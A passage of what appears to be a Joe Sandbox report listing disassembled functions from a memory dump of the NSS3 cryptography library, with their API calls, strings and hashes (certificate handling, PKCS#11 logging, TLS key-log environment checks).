Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C686D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C686D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686DC3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C686DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C686E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C686E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C686E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C686EB9

Strings

pData = 0x%p, xrefs: 6C686DF5
pDigest = 0x%p, xrefs: 6C686E27
C_Digest, xrefs: 6C686D81
nvl, xrefs: 6C686E61, 6C686E95
hSession = 0x%x, xrefs: 6C686D9E, 6C686DAE
*pulDigestLen = 0x%x, xrefs: 6C686EB4
(CK_INVALID_HANDLE), xrefs: 6C686DBC
ulDataLen = %d, xrefs: 6C686E0E
pulDigestLen = 0x%p, xrefs: 6C686E42

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nvl
API String ID: 1003633598-1341204591
Opcode ID: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction ID: 419655d85b141ac2d809aaca5a68e7164a6365c178cd1c9b329bffc53f46eb1f
Opcode Fuzzy Hash: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction Fuzzy Hash: 4B41C575612108AFDB109F55DE4DF8A3BB2AB4335CF044034E909ABA11DB30E949CBBE

Function 6C689C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C689C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C689CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C689CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C689D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C689D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C689D42

Strings

pUsername = 0x%p, xrefs: 6C689D24
ulPinLen = %d, xrefs: 6C689D0B
pPin = 0x%p, xrefs: 6C689CF0
C_LoginUser, xrefs: 6C689C61
nvl, xrefs: 6C689D5A, 6C689D91
hSession = 0x%x, xrefs: 6C689C7E, 6C689C8E
ulUsernameLen = %d, xrefs: 6C689D3D
(CK_INVALID_HANDLE), xrefs: 6C689C9C
userType = 0x%x, xrefs: 6C689CD5

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nvl
API String ID: 1003633598-3871879280
Opcode ID: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction ID: 97001691560bb6bbf9f960e1ba66711bcb3e7fff6fbce1c23f885c0641adbd44
Opcode Fuzzy Hash: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction Fuzzy Hash: CE41B171603548AFDB009F55DE4CE9A3BB2AB4331DF488034E9096BA51DB319918CBBE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

SSLKEYLOGFILE, xrefs: 6C6E6EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7
SSLFORCELOCKS, xrefs: 6C6E6F2B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C684E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C684E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684EC7

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C684F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C684F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C684F68

Strings

ulCount = %d, xrefs: 6C684F63
pTemplate = 0x%p, xrefs: 6C684F4A
nvl, xrefs: 6C684F82, 6C684FB2
hSession = 0x%x, xrefs: 6C684EA2, 6C684EB2
(CK_INVALID_HANDLE), xrefs: 6C684EC0, 6C684F13
hObject = 0x%x, xrefs: 6C684EF5, 6C684F05
C_GetAttributeValue, xrefs: 6C684E7E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nvl
API String ID: 1003633598-93353135
Opcode ID: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
